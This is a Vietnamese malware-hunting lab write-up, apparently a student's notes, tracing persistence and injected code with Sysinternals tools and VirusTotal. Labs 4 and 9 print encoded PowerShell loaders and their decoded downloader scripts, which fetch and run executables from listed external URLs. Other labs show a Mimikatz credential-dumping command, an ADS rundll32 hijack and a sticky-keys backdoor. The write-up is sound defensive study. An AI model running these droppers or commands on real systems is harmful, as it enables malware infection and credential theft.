LupinF3ar
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Rà soát mã độc ## Lab 1: ## Lab 2: ![image](https://hackmd.io/_uploads/rJT7x27A0.png) Sử dụng công cụ autoruns rà soát các entry thì thấy entry Windefend không có digital signature. Tuy nhiên kiểm tra entry service windefender trên máy, thông báo lỗi là service đã dừng hoạt động. ![image](https://hackmd.io/_uploads/S1gM-3QR0.png) Có thể thấy rằng điều này có nghĩa là dịch vụ hoặc driver liên quan sẽ không được khởi động cùng hệ thống windefend. Thấy có mùi không thơm thì check trên virus total ![image](https://hackmd.io/_uploads/B1XPZhQR0.png) Đỏ lòm =)))) Trước mắt thì đây chắc chắn là mã độc nhưng ta chưa biết nó là loại gì cần tiến hành nghiên cứu thêm. ## Lab 3: ![image](https://hackmd.io/_uploads/SJNz9ZVAC.png) https://www.youtube.com/watch?v=aBQ1vEjK6v4&t=60s https://sec.vnpt.vn/2022/06/windows-forensic-malware-persistence/ https://whitehat.vn/threads/phan-tich-ma-doc-windows-co-ban-phan-v.17525/ https://whitehat.vn/threads/huong-dan-ra-soat-virus-ma-doc-co-ban-cuc-ki-don-gian.15632/?fbclid=IwY2xjawFh52hleHRuA2FlbQIxMAABHetJ8La8AKISVrv2-NxtoPzik8qrXomKqWokZODVLrgy1uD799P3GlXvyw_aem_BSl4MK-EonI_hP2N6KeTYA https://fr.slideshare.net/PhmTrungc3/r-sot-malware-bng-sysinternal-suite https://storage-vnportal.vnpt.vn/lci-ubnd-responsive/7404/QuangVinh/slide-malware-hunting-vnpt-lci-2023.pdf ## Lab 4: * Sau khi tiến hành rà soát mã độc bằng autoruns thì phát hiện ra sự đáng ngờ của cmd được lập lịch scheduler tasks với command sau: ![image](https://hackmd.io/_uploads/BJmsa0gyJx.png) ``` "%comsPEC%" /C STARt /B powershell -NonInteractive -WindowStyle Hidden -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAGUAYwBUAG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAcgBJAFQAYABZAHAAUgBPAFQAbwBDAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAnACsAJwAxADIAJwArACgAJwAsACAAJwArACcAdAAnACsAJwBsAHMAMQAxACwAIAB0ACcAKQArACcAbABzACcAKQA7ACQATwBkAGQAeABxAGcAcAAgAD0AIAAoACcATwAxACcAKwAoACcAagAnACsAJwBwADAAagAnACkAKQA7ACQAUQBqAHkAXwBwAGkAagA9ACgAKAAnAFgAMwAnACsAJwA5AHMAJwApACsAKAAnADAAJwArACcAdgAyACcAKQApADsAJABIAGwAdAB0AGUAYwBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQB3ACcAKwAnAG8AcgBkAHsAMAAnACsAJwB9ADIAMAAnACsAJwAxADkAewAwACcAKwAnAH0AJwApACAAIAAtAGYAIABbAGMAaABhAFIAXQA5ADIAKQArACQATwBkAGQAeABxAGcAcAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEYAMAA1AF8AawAzAGUAPQAoACcASwBiACcAKwAnAGMAJwArACgAJwBiACcAKwAnADEAOQBfACcAKQApADsAJABXAGsAZQB0ADEAcwA0AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMATABJAGUAbgB0ADsAJABTAG0AeQB0AHQAbAA3AD0AKAAoACcAaAAnACsAJwB0AHQAcABzADoAJwApACsAKAAnAC8ALwBkAGEAZAAnACsAJwBpAGUAcgAnACsAJwBvACcAKwAnAHEAdQBlAC4AYwBvAG0AJwApACsAJwAvACcAKwAnAHcAcAAnACsAJwAtAGEAJwArACgAJwBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAGQAJwArACcAZwAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwAnACkAKwAnAHMAJwArACgAJwB1AGwAJwArACcAcwBlACcAKQArACgAJwBsACcAKwAnAGUAJwArACcAawAnACsAJwBzAHAAcgBlAHMALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgBpACcAKQArACgAJwBuAC8AJwArACcANgBsACcAKQArACcAMABuACcAKwAoACcAeQAnACsAJwBPAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcABzACcAKwAnADoALwAnACsAJwAvAG0AJwApACsAJwBhACcAKwAoACcAdQAnACsAJwBsAGEAbgAnACkAKwAoACcAYQByACcAKwAnAHUAJwApACsAKAAnAG0AJwArACcAaQBmAG8AdQBuAGQAJwArACcAYQB0AGkAbwBuACcAKwAnAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AUgAnACsAJwB1AG0AaQBGACcAKwAnAG8AdQBuACcAKwAnAGQAYQAnACkAKwAoACcAdABpACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcALwBRADkAZQB0AEYAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnAHMAJwApACsAKAAnADoALwAvAGsAZQBsACcAKwAnAGEAcwAuAHkAZQAnACsAJwBjAC4AJwApACsAKAAnAGMAJwArACcAbwAuAGkAZAAnACkAKwAoACcALwBzACcAKwAnAHIAJwApACsAJwBqAG4AJwArACgAJwBzAC8AQgAvACoAJwArACcAaAAnACsAJwB0AHQAcAA6AC8ALwBjAGEAJwArACcAZQBzACcAKwAnAGEAJwArACcAcgBtAG8AJwApACsAJwB2AGkAJwArACcAbgBnACcAKwAnAC4AJwArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuAHQAJwArACcALwAnACkAKwAnADkAJwArACcAcwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AawBpACcAKwAnAG4AZQBwAHIAJwArACcAZQBtAGkAbgAnACsAJwBzACcAKQArACgAJwAuAGMAJwArACcAbAAvAHcAJwApACsAKAAnAHAAJwArACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwA2AHcAcgAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBkAG8AJwApACsAJwBsACcAKwAoACcAcABoACcAKwAnAGkAJwApACsAKAAnAG4AaQBuACcAKwAnAHMAaQBnACcAKwAnAGgAdAAnACsAJwAuACcAKwAnAGkAdAAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAJwApACsAJwBkACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC8ATABWACcAKQArACcAZgAvACcAKQAuACIAUwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGcAeAB6ADIAYwA5AD0AKAAoACcASAAnACsAJwAyAG8AZgAnACkAKwAoACcANAAnACsAJwB4AGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGcAYwB0AHQANgAxACAAaQBuACAAJABTAG0AeQB0AHQAbAA3ACkAewB0AHIAeQB7ACQAVwBrAGUAdAAxAHMANAAuACIAZABgAE8AVwBuAGwAYABvAGEARABgAEYAaQBMAEUAIgAoACQAQwBnAGMAdAB0ADYAMQAsACAAJABIAGwAdAB0AGUAYwBjACkAOwAkAFYAMgBhAHIAZgBrAGUAPQAoACcARAAnACsAKAAnAG8AdgAnACsAJwBuAGYAaABvACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAbAB0AHQAZQBjAGMAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADkAOAA1ADAAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQASABsAHQAdABlAGMAYwApADsAJABUADIANAAwAGMAaQBnAD0AKAAnAEkAJwArACgAJwB6ACcAKwAnAHUAbwAnACkAKwAoACcAMAAnACsAJwByADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFEAaQAwADgAdABiAHIAPQAoACgAJwBUAHUAJwArACcAbgAnACkAKwAnAHIAJwArACgAJwB1AG4AJwArACcAZAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwBuAGMAOABsAHMAMwA9ACgAJwBXAHEAJwArACgAJwA1AHcAdQByACcAKwAnAGcAJwApACkA ``` * Sau khi decode thì ta có được một đoạn script độc: ``` $Auj0pbm='O6l92fc'; new-item $ENv:Temp\WORD\2019\ -itemtype DirecToRY; [Net.ServicePointManager]::"sECUrITYpROToCOl" = 'tls12, tls11, tls'; $Oddxqgp = 'O1jp0j'; $Qjy_pij=(('X39s')+'0v2'); $Hlttecc=$env:temp+(('{0}word{0}2019{0}') -f '\')+$Oddxqgp+'.exe';$F05_k3e='Kbcb19_';$Wket1s4=new-object neT.WEbcLIent;$Smyttl7=(('https:')+'//dadieroque.com/wp-admin/dg/*https://sulselekspres.com/cgi-bin/6l0nyO/*https://maulanarumifoundation.com/RumiFoundation/Q9etF/*https://kelas.yec.co.id/srjns/B/*http://caesarmoving.com/wp-content/9s/*https://kinepremins.cl/wp-admin/6wr/*http://dolphininsight.it/wp-includes/LVf/').SPlIt('*'); $Tgxz2c9=(('H2of')+'4xd'); foreach($Cgctt61 in $Smyttl7){try{$Wket1s4.dOWnloaDFiLE($Cgctt61, $Hlttecc); $V2arfke='Dovnfho'; If ((Get-Item $Hlttecc).leNGtH -ge 39850) {Invoke-Item($Hlttecc);$T240cig='Izuo0r3'; break; $Qi08tbr=(('Tun')+'rund')}}catch{}}$Knc8ls3='Wq5wurg' ``` ![image](https://hackmd.io/_uploads/BJMk3QW1ke.png) * Đoạn mã PowerShell trên có chức năng tải xuống một tệp thực thi (EXE) từ một loạt các URL đáng ngờ, lưu tệp đó vào thư mục C:\Users\Admin\AppData\Local\Temp\word2019\O1jp0j.exe, và nếu tệp tải về đạt kích thước yêu cầu, nó sẽ được thực thi trên hệ thống. * Tiến hành kiểm tra đường dẫn URL trên virustotal thì thu được kết quả ối dời. ![image](https://hackmd.io/_uploads/Hyf53X-kyg.png) ## Lab 5: ![image](https://hackmd.io/_uploads/SkrMMNb1Jl.png) * Sau khi rà soát trên autoruns thì thấy rằng `HKCU\Environment\UserInitMprLogonScript` được sử dụng để chạy các script hoặc lệnh khi người dùng đăng nhập vào hệ thống. ![image](https://hackmd.io/_uploads/SJZtzE-Jkg.png) ``` cmd.exe /C "OIS.EXE" log privilege::debug sekurlsa::logonpasswords exit ``` * Phân tích kĩ hơn thì kịch bản ở đây sẽ là `HKCU\Environment\UserInitMprLogonScript` đã bị lợi dụng để khởi chạy mimikatz ``` cmd.exe /C: Đây là lệnh để mở Command Prompt và thực thi các lệnh được chỉ định sau /C. Sau khi thực thi xong, cửa sổ Command Prompt sẽ tự động đóng. "OIS.EXE": Đây có thể là một chương trình (file thực thi) độc hại. Tên OIS.EXE không phải là tên của một ứng dụng Windows thông thường, điều này cho thấy khả năng đây là mã độc hoặc một công cụ hacker tùy chỉnh được sử dụng để thực hiện các hành động nguy hiểm. log privilege::debug sekurlsa::logonpasswords: Cú pháp này liên quan đến các lệnh từ Mimikatz, một công cụ tấn công phổ biến được sử dụng để trích xuất thông tin đăng nhập từ bộ nhớ của hệ thống. privilege::debug: Lệnh này yêu cầu quyền debug, đây là một đặc quyền đặc biệt trong Windows cần thiết để truy cập thông tin nhạy cảm trong bộ nhớ. sekurlsa::logonpasswords: Lệnh này trích xuất thông tin đăng nhập (bao gồm mật khẩu và token đăng nhập) từ quá trình LSASS (Local Security Authority Subsystem Service), nơi lưu trữ các thông tin xác thực của người dùng đã đăng nhập vào hệ thống. exit: Sau khi thực thi xong các lệnh trên, cửa sổ Command Prompt sẽ đóng lại. ``` ![image](https://hackmd.io/_uploads/ByS5IEbyJl.png) * Thấy mùi không thơm, tại sao OIS.exe lại nằm trong tệp C:\Windows\System32 :)) ![image](https://hackmd.io/_uploads/rJe2vVWyyx.png) ## Lab 6: * Như các bước cũ tiến hành rà soát mã độc bằng autoruns. ![image](https://hackmd.io/_uploads/SJ4urmGJye.png) * Phát hiện ra file trnsrun.exe không có digital signature. Kiểm tra thử trên virustotal. ![image](https://hackmd.io/_uploads/S1sLL7G1kg.png) * 100% là mã độc tiến hành rà soát thêm xem có mã độc nào trong hệ thống không thì không phát hiện ra gì thêm. * Thực hiện thu thập sample và clean mã độc. ## Lab 7: * Tiến hành rà soát mã độc bằng autoruns ![image](https://hackmd.io/_uploads/Hkj-xVf11x.png) * Thấy có một dll không được verify digital signature, ngoài ra `AppInit_DLLs` là một khóa registry cho phép các tệp DLL được nạp vào tất cả các tiến trình của hệ điều hành. ![image](https://hackmd.io/_uploads/By6CrUMkJe.png) * Trong CIGui thông báo rằng process OneDrive.exe load trực tiếp OUTLLIB.dll ![image](https://hackmd.io/_uploads/B1ADv8fkyx.png) ![image](https://hackmd.io/_uploads/BJ-iWtfyyl.png) * Phát hiện ra thêm foxitreader gọi tới dll độc này. * Kiểm tra trên virustotal thì đỏ lòm ![image](https://hackmd.io/_uploads/B1MoIKfJJl.png) ## Lab 8: * Sử dụng tool thần thánh thì phát hiện ra inject code. ![image](https://hackmd.io/_uploads/HyFuYtzykx.png) * Soi procexp thì thấy svchost.exe nằm ngoài services.exe :)) Chắc chắn có mùi không thơm, svchost.exe path mặc định C:\Windows\System32 ![image](https://hackmd.io/_uploads/HymVl5fkJx.png) * Kiểm tra trên autorun thì thấy path của mcafee à C:\progamdata trong khi defaultpath của mcafee là C:\program files. ![image](https://hackmd.io/_uploads/SJVUcYf1kx.png) * Jump đến image thì thấy file bị ẩn ![image](https://hackmd.io/_uploads/Hy9DqtMk1e.png) * Entry này đã được verify, tuy nhiên các dll đi cùng với file exe này không có chữ kí số của McAfee. ![image](https://hackmd.io/_uploads/H1yiqFMkke.png) * Ngoài ra kiểm tra thêm thì thấy tên gốc không đúng. ![image](https://hackmd.io/_uploads/H1Z0htMkJe.png) * Kèm với đó khi nhìn tcpview thì thấy svchost.exe đang cố gắng thiết lập một kết nối với địa chỉ 192.168.42.10 qua cổng 1357 ![image](https://hackmd.io/_uploads/rkL-Q9z1Jg.png) * Check virustotal các dll đi kèm với mcafee thì thấy đỏ lòm tiến hành thu thập sample rồi kill process. ## Lab 9: * Tiến hành rà soát mã độc bằng autoruns thì tìm thấy powershell có command `powershell.exe -ExecutionPolicy Bypass -file C:\ProgramData\Microsoft\install.ps1 -WindowStyle Hidden ` mục đích của command này là chạy install.ps1 ẩn và không bị ngăn chặn. ![image](https://hackmd.io/_uploads/S1Gq4_m1yx.png) * Kiểm tra instal.ps1 xem có gì bên trong không thì phát hiện ra nội dung đã bị mã hóa. `powershell -w hidden -enco JABFAGEAcQBlAGsAcQBkAHIAPQAnAFIAZABpAGgAeQBoAG8AawByACcAOwAkAFEAbABpAGQAcwB2AG0AZwB4ACAAPQAgACcANgA5ADcAJwA7ACQAWgBlAGsAcABpAHcAYQBmAGkAZwB5AHcAPQAnAEIAegBuAHAAaQBtAHMAZAB6AGgAegAnADsAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAbABpAGQAcwB2AG0AZwB4ACsAJwAuAGUAeABlACcAOwAkAE4AeQB2AGcAZQB1AG4AYQBtAHUAdgBpAD0AJwBRAHcAbABlAGwAbABpAGcAbwB4AGIAJwA7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAEIAQwBsAGkAZQBuAHQAOwAkAFMAbgBvAHQAdQB6AGoAaQA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQByAGYAYQBqAGIAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawB4ADQAMwAyADQAMwA0AC8AKgBoAHQAdABwAHMAOgAvAC8AaABlAGYAbwBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANQB6AHUAegA5AGkAcgAwADAANgAwADYALwAqAGgAdAB0AHAAOgAvAC8AaQBjAGwAbwB1AGQAZwByAGEAcABoAGkAYwBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAxAGMAdQA3ADYAMgA4AC8AKgBoAHQAdABwADoALwAvAGIAdQBjAGsAZQB0AGwAaQBzAHQAYQBkAHYAdABvAHUAcgBzAC4AYwBvAG0ALwBtADUAXwBlAGQAaQB0AF8AaQB0AGUAbQAvADAANgA2ADAANQBsAGQAMAAzADEAOQA3AC8AKgBoAHQAdABwADoALwAvAG4AYQBhAHYAaQBrAHMAYwBoAG8AbwBsAC4AYwBvAG0ALwBuAGEAYQB2AGkAawBzAGMAaABvAG8AbAAuAGMAbwBtAC8AbwBvAHEAdgBpADcAYQAwADYAOAAyAC8AJwAuACIAUwBQAEwAYABJAHQAIgAoACcAKgAnACkAOwAkAFoAdwBlAGMAcABsAGMAbQBoAG4AegB1AGMAPQAnAE8AZgByAGgAYgB2AGIAZwBvAGMAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwBpAHgAZQBuAGYAaAB1AHYAeABsAG8AdwAgAGkAbgAgACQAUwBuAG8AdAB1AHoAagBpACkAewB0AHIAeQB7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoALgAiAGQAYABPAHcATgBgAEwATwBhAGQAYABGAGkAbABFACIAKAAkAFMAaQB4AGUAbgBmAGgAdQB2AHgAbABvAHcALAAgACQARAB2AGIAYQBwAHIAZQB4AGcAbQBlACkAOwAkAEgAagB5AGUAdQB4AG8AZQBoAHIAPQAnAEYAZQBqAGoAbABrAGoAYwB0AHIAagBmAHQAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQAuACIATABgAEUAYABOAEcAVABIACIAIAAtAGcAZQAgADIANgA0ADcANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAHIAVAAiACgAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQA7ACQAUABxAGEAYgBiAHEAZgB4AHAAdgB6AGUAdQA9ACcATgBsAGsAdwByAHIAeABjAHIAJwA7AGIAcgBlAGEAawA7ACQAUwBwAGEAcwBrAG0AdwBxAG8APQAnAEUAdgBvAHoAbQB1AHEAbABlAGkAaABrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbQBqAGYAcgBvAGkAdwB0AHkAcAB3AD0AJwBNAGgAZQB3AHEAdwBoAHAAaABzACcA` * Tiến hành decode bằng cyberchef và powerdecode thì ta có đoạn script sau: ``` $Eaqekqdr = 'Rdihyhokr'; $Qlidsvmgx = '697'; $Zekpiwafigyw = 'Bznpimsdzhz'; $Dvbaprexgme = $env:userprofile + '\' + $Qlidsvmgx + '.exe'; $Nyvgeunamuvi = 'Qwlelligoxb'; $Mgufpvaskhlz = new-object net.wEBClient; $Snotuzji = 'https://www.arfajbd.com/wp-admin/kx432434/*https://hefok.com/wp-content/5zuz9ir00606/*http://icloudgraphics.com/wp-content/o1cu7628/*http://bucketlistadvtours.com/m5_edit_item/06605ld03197/*http://naavikschool.com/naavikschool.com/ooqvi7a0682/'.SPLIt('*'); $Zwecplcmhnzuc = 'Ofrhbvbgoco'; foreach($Sixenfhuvxlow in $Snotuzji) { try { $Mgufpvaskhlz.dOwNLOadFilE($Sixenfhuvxlow, $Dvbaprexgme); $Hjyeuxoehr = 'Fejjlkjctrjft'; If ((Get-Item $Dvbaprexgme).LENGTH -ge 26474) { [Diagnostics.Process]::Start($Dvbaprexgme); $Pqabbqfxpvzeu = 'Nlkwrrxcr'; break; } $Spaskmwqo = 'Evozmuqleihk'; } catch {} } $Imjfroiwtypw = 'Mhewqwhphs'; ``` * Kiểm tra trên virustotal thì thấy rằng đoạn script trên cố gắng tải tệp 697.exe và thực thi tệp đó. ![image](https://hackmd.io/_uploads/BJs5PO71Jg.png) ![image](https://hackmd.io/_uploads/rJExcdQJJx.png) * Thu thập sample và clean hệ thống. ## Lab 10: * Rà soát mã độc bằng autoruns thì trên tab image hijacks thì thấy có nhiều điểm đáng ngờ ![image](https://hackmd.io/_uploads/rkU32dQ1ke.png) * Đây là kỹ thuật image hijacks, các process có thể thay thế bằng process khác để thực thi một dll độc. Như ở đây vds.exe đang bị thay thế bởi rundll32.exe để thực thi config.conf.dll * Hãy để ý command được set cho vds.exe ``` rundll32.exe c:\windows\system32\config:conf.dll,inst ``` * `Rundll32.exe` sẽ gọi tới `config:conf.dll` nhưng dấu `:` được sử dụng trong một kĩ thuật Alternate Data Streams(ADS) điều này làm conf.dll không thể nhìn thấy bằng cách duyệt tệp thông thường và chỉ có teher truy cập thông qua lệnh đặc biệt. ![image](https://hackmd.io/_uploads/HJ9G-Fm1yg.png) ![image](https://hackmd.io/_uploads/HkbPWF7kye.png) * Lấy hash của file rồi đem lên virustotal kiểm tra ![image](https://hackmd.io/_uploads/HJwcWYQkyl.png) * Thu thập sample rồi clean. ## Lab 11: * Lượn lờ autoruns thì phát hiện ra sethc.exe có path là C:\windows\system32\cmd.exe, khá là lạ. Search google thì có thể đây là dạng khai thác Sticky Key thông qua Sethc.exe để leo thang đặc quyền trên Windows. ![image](https://hackmd.io/_uploads/Syjh50Gyke.png) * Khi spam shift 5 lần thì sẽ gọi cmd với quyền admin. * Đọc thêm về kĩ thuật tấn công: https://medium.com/@enyel.salas84/exploiting-sticky-keys-via-sethc-exe-for-privilege-escalation-on-windows-03a15f2fd560 ## Lab 12: ![image](https://hackmd.io/_uploads/HyH9Z1mkyg.png) * Vừa vào bài lab thì đã có một error alert báo rằng hệ thống gặp lỗi trong quá trình nạp npllium.dll * Kiểm tra trên autoruns thì thấy dll này chưa được verify digital signature. * Vì không biết dll này có gì nguy hiểm nên sử dụng google.com ![image](https://hackmd.io/_uploads/HJgCokmkyg.png) * Sau khi search xong thì mình cũng không biết là nó nguy hiểm chỗ nào nên mình nhớ lại lời tiền bối dặn. * Một cao nhân ẩn danh(Thangnn16): cái gì không biết thì không động vào. Nên mình chỉ thu thập sample =)) ## lab 13: * Phát hiện chương trình thực thi bất thường `"C:\Program Files\PRTG Network Monitor\lsm.exe"` trong `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 12/25/2020 11:16 AM` ![image](https://hackmd.io/_uploads/Hyj5e3QJ1x.png) * File thực thi được verify tuy nhiên nhưng phát hiện nó load một DLL không verify ![image](https://hackmd.io/_uploads/SkUJbn7kJe.png) * Ngoài ra soi TCPview thì thấy liên tục kết nối với chính nó. ![image](https://hackmd.io/_uploads/r1KpiF7kkl.png) ## Lab 14: * Kiểm tra rà roát mã độc bằng tool thì phát hiện ra có 2 process bị inject code ![image](https://hackmd.io/_uploads/SyFV-2Q1yg.png) * Tiến hành kiểm tra thêm bằng autoruns thì phát hiện QcConsol.exe, QcLite.dll, stdole.tlb được ẩn ![image](https://hackmd.io/_uploads/rkL2-3mJ1l.png) * Check trên virustotal thì QcLite.dll là 1 file mã độc * Tiến hành thu thập sample và kill process thì có một vấn đề mới xảy ra, sau một vài giây xuất hiện một QcConsol.exe khác nằm trong dllhst3gexe ![image](https://hackmd.io/_uploads/ryhzQnQkyx.png) * Sau một khoảng thơi gian, dllhst3g.exe tự biến mất, một dllhst3g.exe khác tự sinh ra độc lập ![image](https://hackmd.io/_uploads/H1umXnQyyg.png) * Key `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` đã xóa đã được tạo lại * Chỉ kill dllhst3g.exe thì sau một lúc cũng xuất hiện trở lại ## Lab 15: * Rà soát thì thấy csrss.exe bị inject thread. ![image](https://hackmd.io/_uploads/B1JJl6EkJg.png) # Rà soát mã độc linux: ## LAB 21: * Tiến hành rà soát mã độc bằng tool chuyên dụng phát hiện ra có sự bất thường ở LD_PRELOAD. * ![image](https://hackmd.io/_uploads/rJ9Y8wIykx.png) * Tiến hành kiểm tra LD_PRELOAD, đầu tiên cat LD_PRELOAD kiểm tra thì không được. ![image](https://hackmd.io/_uploads/ByRWsDLkkx.png) * Sử dụng command `vi /etc/ld.so.preload` thì xuất hiện nội dung ![image](https://hackmd.io/_uploads/Bk-gkOIJ1l.png) * Có vẻ như LD_PRELOAD đã nạp một lib lên hệ thống để các process gọi đến lib này. Cơ chế hoạt động này giống với dll sideloading. Giờ tiến hành kiểm tra xem thư viện này có gây nguy hiểm không bằng cách kiểm tra mã hash của file. * Payload: `md5sum /lib64/libxselinux.so` ![image](https://hackmd.io/_uploads/HyO5MKUykg.png) ![image](https://hackmd.io/_uploads/H1isMFI11x.png) * Check đỏ lòm thì đây chắc chắn là mã độc. Giờ kiểm tra xem có process nào loading thư viện này không, mọi tiến trình sử dụng dynamic linking sẽ tự động nạp thư viện này, tiến hành kiểm tra bằng payload: `ldd /lib64/libxselinux.so` ![image](https://hackmd.io/_uploads/Hy6f3tL1Je.png) ## Lab 22: * Sau khi ssh đến user `root ip:192.168.80.137` thì tiến hành rà soát bằng tool chuyên dụng * Khi rà soát tiến trình phát hiện tiến trình độc hại `netcat`. ![image](https://hackmd.io/_uploads/SJaBc_Fkkl.png) * Có thể thấy rằng hệ thống đang cố gắng lắng nghe đến port 4444 để có thể thiết lập kết nối reverse shell. ![image](https://hackmd.io/_uploads/Byb_bFFkyx.png) * Thor Lite phát hiện webshell tại `/var/lib/tomcat/webapps/muabannhadat/web/js/app.jsp`, tiến hành thu thập timestamp và sample của webshell này. 